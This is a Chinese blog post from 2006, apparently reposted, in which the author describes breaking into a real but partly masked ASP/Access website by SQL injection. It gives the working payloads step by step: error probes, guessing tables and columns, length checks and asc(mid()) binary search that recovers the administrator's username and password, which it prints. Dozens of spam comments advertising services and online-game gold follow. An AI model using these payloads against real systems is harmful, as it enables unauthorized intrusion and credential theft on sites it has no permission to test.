sql注入原理和过程(转)
By  aomiao 发表于 2006-11-7 9:54:54 

    记得前一个月左右,记得那是刚来中心不久,和kevin想学怎么进行sql注入。看了JHACKJ超级入侵教程中的sql入侵的视频,还去bbs.14023.com下载了流光、nbsi2.0、wed、wis,想模仿着进行,无奈一直没有成功。呵呵,可以说那个时候是水平不行,只会依葫芦画瓢,仅仅用用工具,不是很明白sql注入的原理。
    今天下午4点左右开始,一直到晚上8点,又和kevin一起,终于对一个网站实现的sql注入,获得了它的管理员用户名和密码,可惜一直没有找到管理员的后台登陆地址,用了nbsi2.0也没有找出来,可惜中^_^^_^^_^
    在这里先说说sql注入的原理,然后介绍我们的入侵过程。在此只是跟大家交流学习,请勿将其用做破坏行为,由此产生的后果自负。


一、sql注入原理
    程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的SQL Injection,即SQL注入。
    受影响的系统:对输入的参数不进行检查和过滤的系统。


二、sql注入过程

1.找到链接
我找的链接是:http://www.***.com/main_weblist.asp?key_city=1
其实,类似http://hostname/***.asp?id=*的网页都可能有sql漏洞。

2.测试
(1)在末尾加'
http://www.***.com/main_weblist.asp?key_city=1'
结果如下:
-----------------------------------------------------------
Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e14'
[Microsoft][ODBC Microsoft Access Driver] 字符串的语法错误 在查询表达式 'web_key=1 and web_city=1'' 中。
/main_weblist.asp,行129
-----------------------------------------------------------
该信息说明:后台数据库是access。
(2)在末尾加;
http://www.***.com/main_weblist.asp?key_city=1;
结果如下:
-----------------------------------------------------------
Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e21'
ODBC 驱动程序不支持所需的属性。
/main_weblist.asp,行140
-----------------------------------------------------------
(3)在末尾加 and 1=2 和 and 1=1
前者返回信息:该栏目无内容,将返回上一页;
后者正常返回;

由此说明该网站一定存在sql注入漏洞,有很大把握可以拿到管理员的用户名和密码。

3.猜管理员帐号表
在末尾加上: and exists (select * from admin)
注意and前面有一个空格。
我们的意思是猜测他有个admin表段
呵呵,页面返回正常,我们猜对了。当然也可能错误返回,这时就要看猜测的本事了。

4.猜测管理员表表中的字段
我们再来猜他的管理员表中是否有一个ID段,
在末尾加上: and exists (select id from admin)
OK,页面返回正常,说明他的admin表中有个id的字段;
我们继续: and exists (select username from admin)
这里的意思是看看他的admin表中是否有username字段,
页面返回正常,说明在admin中有一个username字段;
我们继续猜他放密码的字段: and exists (select password from admin)
返回正常的页面,说明他的admin表中有个password字段。
好了,到此可以知道admin表中至少有如下三个字段:id,username,password,这各命名方式与普通程序员的命名方法一致。

5.猜测用户名和密码的长度
为了下面方便进行,首先猜他的管理员的id值:
 and exists (select id from admin where id=1)
意思是看看他的admin表中是否有一个id=1的值,
OK,返回了正常的页面,说明我们猜对了。
好了,接着猜ID为1的用户名长度:
 and exists (select id from admin where len(username)<6 and id=1)
这里我们猜他的管理员长度小于6,呵呵,返回了正常的页面,还好,名字不是太长,
我们一个个来实验好了,直到:
 and exists (select id from admin where len(username)=5 and id=1)
返回了正常的页面,说明用户名的长度我们已经猜出了为5。
用同样的方法,我们猜出了密码的长度是10,要添加的语句是:
 and exists (select id from admin where len(password)<10 and id=1)
到此,用户名和密码的长度都已经猜出来了,下面要做的是猜出它们的每一位分别是多少。

6.猜测用户名
方法是,在后面加上:
 and 1=(select id from (select * from admin where id=1) where asc(mid(username,1,1))<100)
其中,asc函数的功能是将字符转换成ASCII码,mid函数的功能是截取username字段值的字串,从第1位开始,截取的长度是1。
我们这里做的意思是,猜测他的用户名的第一个字的ascii码值小于100。
返回了正常页面,说明的确如我们所料,接着:
 and 1=(select id from (select * from admin where id=1) where asc(mid(username,1,1))<50)
返回错误信息,说明:50<=第一个字的ascii码值<100。接下来,我们用折半查找的思想:
 and 1=(select id from (select * from admin where id=1) where asc(mid(username,1,1))<75)
返回错误信息,继续,直到:
 and 1=(select id from (select * from admin where id=1) where asc(mid(username,1,1))=97)
返回正常页面,说明用户名的第一个字的ASCII码是97,查找ASCII表,知道它是a。
接下来我们猜测第二位:
 and 1=(select id from (select * from admin where id=1) where asc(mid(username,2,1))=100)
说明第二位的ASCII码是100,字符是d。
接下来我们猜测,很有可能用户名就是admin,因为它正好是五位。
为了证明我们的猜测,我们用如下方法测试:
 and 1=(select id from (select * from admin where id=1) where username='admin')
返回正常页面,太好了,我们猜对了,用户名就是admin。

7.猜测密码
接下来就是猜测密码了,方法和猜测用户名的一样,只能一位一位地试了,
这里就不一位一位列举了,还是用折半查找的思想,很快就能找到密码是SM8242825!
用以下语句验证一下:
 and 1=(select id from (select * from admin where id=1) where password='SM8242825!')
返回了正常页面!
好,到此为此我们已经找到了用户名和密码,分别是:admin SM8242825!。

8.猜测管理员入口地址
做了很多猜测,都未果,如下链接都不是登陆接口:
admin.asp,login.asp,admin-admin.asp,admin/login.asp等等
后来还用了nbsi2.0工具进行自动探测,也没有找到,这给我们留下了遗憾。
哪位朋友有好的工具或者方法,希望能相互交流。

参考链接:http://vip.juntuan.net/xyjc/cainiao/n/2005-01-31/55.html

 
阅读全文 | 回复(34) | 引用通告 | 编辑
THX
By  xiexie(游客)发表评论于2008-7-27 21:19:29 

現金化脱毛逆援助 オナニー 大人のおもちゃ風俗乳がんレーシックメル友風俗
 
个人主页 | 引用 | 返回 | 删除 | 回复
re
By  thx(游客)发表评论于2008-6-19 23:44:26 

以下内容含脚本,或可能导致页面不正常的代码

说明:上面显示的是代码内容。您可以先检查过代码没问题,或修改之后再运行。
 
个人主页 | 引用 | 返回 | 删除 | 回复
re
By  thx(游客)发表评论于2008-5-25 23:32:11 

Japanese used cars レーシック 会社設立 獣医師 瞑想 性病 オール電化
 
个人主页 | 引用 | 返回 | 删除 | 回复
re
By  thx(游客)发表评论于2008-4-24 0:00:52 

以下内容含脚本,或可能导致页面不正常的代码

说明:上面显示的是代码内容。您可以先检查过代码没问题,或修改之后再运行。
 
个人主页 | 引用 | 返回 | 删除 | 回复
THX
By  xiexie(游客)发表评论于2008-3-28 6:29:11 

以下内容含脚本,或可能导致页面不正常的代码

说明:上面显示的是代码内容。您可以先检查过代码没问题,或修改之后再运行。
 
个人主页 | 引用 | 返回 | 删除 | 回复
THX
By  xiexie(游客)发表评论于2008-3-2 15:08:49 

以下内容含脚本,或可能导致页面不正常的代码

说明:上面显示的是代码内容。您可以先检查过代码没问题,或修改之后再运行。
 
个人主页 | 引用 | 返回 | 删除 | 回复
THX
By  xiexie(游客)发表评论于2008-1-17 5:34:02 

以下内容含脚本,或可能导致页面不正常的代码

说明:上面显示的是代码内容。您可以先检查过代码没问题,或修改之后再运行。
 
个人主页 | 引用 | 返回 | 删除 | 回复
THX
By  xiexie(游客)发表评论于2007-12-4 7:52:56 

以下内容含脚本,或可能导致页面不正常的代码

说明:上面显示的是代码内容。您可以先检查过代码没问题,或修改之后再运行。
 
个人主页 | 引用 | 返回 | 删除 | 回复
THX
By  xiexie(游客)发表评论于2007-11-17 6:47:31 

使用国际机票完成転職北京翻译公司加入warcraft goldwow power leveling咨询催乳传递world of warcraft gold齿科传递鲜花咨询打折机票完成建造师电话耳机北京租车加入货架二手车北京二手车翻译公司
 
个人主页 | 引用 | 返回 | 删除 | 回复
THX
By  xiexie(游客)发表评论于2007-10-18 4:56:22 

翻译公司完成双色球咨询福彩wow goldrunescape money,powerlevelingworld of warcraft gold开创安利加入安利蛋白粉购买wow powerlevel进行価格占い安利成都翻译加入电话耳机加入翻译公司购买転職加入北京二手车开创机房工程发布香港注册公司完成注册法国公司咨询注册日本公司购买shearing machine发布建造师使用china tour开创货架二手车加入国际机票发布wow power leveling打折机票加入硅碳棒
 
个人主页 | 引用 | 返回 | 删除 | 回复
THX
By  xiexie(游客)发表评论于2007-10-12 9:22:51 

以下内容含脚本,或可能导致页面不正常的代码

说明:上面显示的是代码内容。您可以先检查过代码没问题,或修改之后再运行。
 
个人主页 | 引用 | 返回 | 删除 | 回复
THX
By  xiexie(游客)发表评论于2007-10-7 4:31:02 

又要注册英国公司?到一年黄金周,为生产press brake辛苦了大半年,您有没有计划用二手车来一次轻松的china travelchina tour休闲之旅,或是决定冲到商场里在货架上疯狂购物,抑或选择在家玩玩power level放松,或者在北京二手车翻译公司无论怎样,为了网站优化,建造师的难得的假期一定要好好利用 。
 
个人主页 | 引用 | 返回 | 删除 | 回复
THX
By  xiexie(游客)发表评论于2007-9-28 16:32:00 

以下内容含脚本,或可能导致页面不正常的代码

说明:上面显示的是代码内容。您可以先检查过代码没问题,或修改之后再运行。
 
个人主页 | 引用 | 返回 | 删除 | 回复
Ding
By  luguo(游客)发表评论于2007-9-21 6:20:10 

以下内容含脚本,或可能导致页面不正常的代码

说明:上面显示的是代码内容。您可以先检查过代码没问题,或修改之后再运行。
 
个人主页 | 引用 | 返回 | 删除 | 回复
Ding
By  luguo(游客)发表评论于2007-9-11 21:24:43 

以下内容含脚本,或可能导致页面不正常的代码

说明:上面显示的是代码内容。您可以先检查过代码没问题,或修改之后再运行。
 
个人主页 | 引用 | 返回 | 删除 | 回复
Re
By  bin(游客)发表评论于2007-8-29 13:33:59 

以下内容含脚本,或可能导致页面不正常的代码

说明:上面显示的是代码内容。您可以先检查过代码没问题,或修改之后再运行。
 
个人主页 | 引用 | 返回 | 删除 | 回复
80年代 初,摆个地摊就能发财,可很多人不敢 !
By  xbr464(游客)发表评论于2007-7-1 11:22:15 

80年代 初,摆个地摊就能发财,可很多人不敢 ! 90年代初,买支股票就能挣钱,可很多人不信!21世纪,开个网站就能赚钱,可很多人不试!创业难 ?不妨试试网上创业!现在是互联网时 代,加入123SOHO空间销售网创业联盟当代理站长就能月赚过万!你还想错过吗?记住:你不知道的事情不 代表它不存在,你不相信的事情不代 表它不是事实。 150元抽俩包有害香烟和投资网络赚钱你会选择?
 
个人主页 | 引用 | 返回 | 删除 | 回复
第一次听的时候就觉得非常有感觉
By  oirtyt(游客)发表评论于2007-6-30 7:54:00 

第一次听的时候就觉得非常有感觉 窃以为制作者一定是知道玩家读进度时候等待时间过于漫长 于是用这首歌作为补偿。 有谁知道里面到底用的是哪国语言么?
 
个人主页 | 引用 | 返回 | 删除 | 回复
现在想起来,
By  GOOByg(游客)发表评论于2007-6-29 7:41:33 

现在想起来, 我从小到大的老师都是极其关怀学生极其负责的,身边好友,很多都在当老师或者有过当老师的经历, 感觉她们都挺为学生着想的,当然也包括丁丁你了:)教书育人,责任大焉,祖国的未来全靠你们了:-P
 
个人主页 | 引用 | 返回 | 删除 | 回复
第一次听的时候就觉得非常有感觉
By  yourser(游客)发表评论于2007-6-24 12:17:05 

第一次听的时候就觉得非常有感觉 窃以为制作者一定是知道玩家读进度时候等待时间过于漫长 于是用这首歌作为补偿。 有谁知道里面到底用的是哪国语言么?
 
个人主页 | 引用 | 返回 | 删除 | 回复
前面太奢侈
By  shouby(游客)发表评论于2007-6-23 7:13:26 

前面太奢侈 后面太寒碜
 
个人主页 | 引用 | 返回 | 删除 | 回复
前面太奢侈
By  opengirlx(游客)发表评论于2007-6-21 7:55:14 

前面太奢侈 后面太寒碜
 
个人主页 | 引用 | 返回 | 删除 | 回复
第一次听的时候就觉得非常有感觉
By  zoubyr(游客)发表评论于2007-6-19 18:09:57 

第一次听的时候就觉得非常有感觉 窃以为制作者一定是知道玩家读进度时候等待时间过于漫长 于是用这首歌作为补偿。 有谁知道里面到底用的是哪国语言么?
 
个人主页 | 引用 | 返回 | 删除 | 回复
80年代 初,摆个地摊就能发财,可很多人不敢 !
By  tiaoyueba(游客)发表评论于2007-6-18 6:14:59 

80年代 初,摆个地摊就能发财,可很多人不敢 ! 90年代初,买支股票就能挣钱,可很多人不信!21世纪,开个网站就能赚钱,可很多人不试!创业难 ?不妨试试网上创业!现在是互联网时 代,加入123SOHO空间销售网创业联盟当代理站长就能月赚过万!你还想错过吗?记住:你不知道的事情不 代表它不存在,你不相信的事情不代 表它不是事实。 150元抽俩包有害香烟和投资网络赚钱你会选择?
 
个人主页 | 引用 | 返回 | 删除 | 回复
每当我想逃离生活赋予我的无奈的时候,
By  bestboy1(游客)发表评论于2007-6-17 6:31:30 

每当我想逃离生活赋予我的无奈的时候, 每当我身心疲惫的时候, 每当我感到孤独寂寞的时候, 我就会想念, 能和你在一起的日子。
 
个人主页 | 引用 | 返回 | 删除 | 回复
谁能赢得这辆女性车你说了算!
By  zhongry(游客)发表评论于2007-6-16 7:52:03 

谁能赢得这辆女性车你说了算! 令人瞩目的中国第一款女性车博客大赛开幕了,美女、美图琳琅一堂,最后哪位丽人有资格领得靓车归呢?博客大赛请你当评委。凡参与参加跟贴投票的博客都将有机会赢取奖品一份。同时,也欢迎介绍您的女性亲朋好友来参加此次“海炫《女性.车》博客大赛”。原创与车有关的文章、照片均可参加,参赛选手人人有奖,大奖: 最新款海炫女性车一辆! 参赛地址:http://hyshine.bokee.net
 
个人主页 | 引用 | 返回 | 删除 | 回复
加油啊。。。目标等着你去找他呢。。。
By  kym8u7h(游客)发表评论于2007-6-15 8:21:24 

加油啊。。。目标等着你去找他呢。。。 好生活。好帮生

房屋出租

 
个人主页 | 引用 | 返回 | 删除 | 回复
父母在,不远游,游必有方.
By  asyr520(游客)发表评论于2007-6-14 5:49:03 

父母在,不远游,游必有方. 父母所给于我们的爱,是我们永远无法偿还的。 多关心父母,让我们多尽一份孝心。
 
个人主页 | 引用 | 返回 | 删除 | 回复
先把自己保护起来,
By  asyr520(游客)发表评论于2007-6-13 10:59:22 

先把自己保护起来, 有了距离就更安全了呵呵
 
个人主页 | 引用 | 返回 | 删除 | 回复
前面太奢侈
By  ureryy(游客)发表评论于2007-6-11 15:40:54 

前面太奢侈 后面太寒碜
 
个人主页 | 引用 | 返回 | 删除 | 回复
写的很唯美啊, 手对于每一个女人来说都是一种印迹
By  souryyn(游客)发表评论于2007-6-8 13:18:38 

写的很唯美啊, 手对于每一个女人来说都是一种印迹 ,暴露了她们深埋在心中的秘密.可是用手套裹住秘密的同时,千万别把心也锁起来.
 
个人主页 | 引用 | 返回 | 删除 | 回复
路过而已,为你的细腻而感动,为自己祝福,一个人过生日,
By  saoryrey(游客)发表评论于2007-6-3 4:00:19 

路过而已,为你的细腻而感动,为自己祝福,一个人过生日, 别样的生日,别样的生活!祝你生日快乐!
 
个人主页 | 引用 | 返回 | 删除 | 回复
我喜欢摇滚乐!头一次看你的博客,很不错!希望和你交个朋友!
By  哈哈人(游客)发表评论于2007-6-1 1:21:26 

我喜欢摇滚乐!头一次看你的博客,很不错!希望和你交个朋友! 交流一下,听听我们乐队的小样儿,请留下您的评论,多提宝贵意见,衷心感谢!!
 
个人主页 | 引用 | 返回 | 删除 | 回复
路过而已,为你的细腻而感动,为自己祝福,一个人过生日,
By  renshengboy(游客)发表评论于2007-5-29 19:08:16 

路过而已,为你的细腻而感动,为自己祝福,一个人过生日, 别样的生日,别样的生活!祝你生日快乐!
 
个人主页 | 引用 | 返回 | 删除 | 回复

发表评论:

    昵称:
    密码: (游客无须输入密码)
    主页:
    标题:

 
站点公告
站点日历
最新日志
最新评论
最新留言
友情链接
站点统计
日志搜索
用户登陆

 
Powered by Oblog.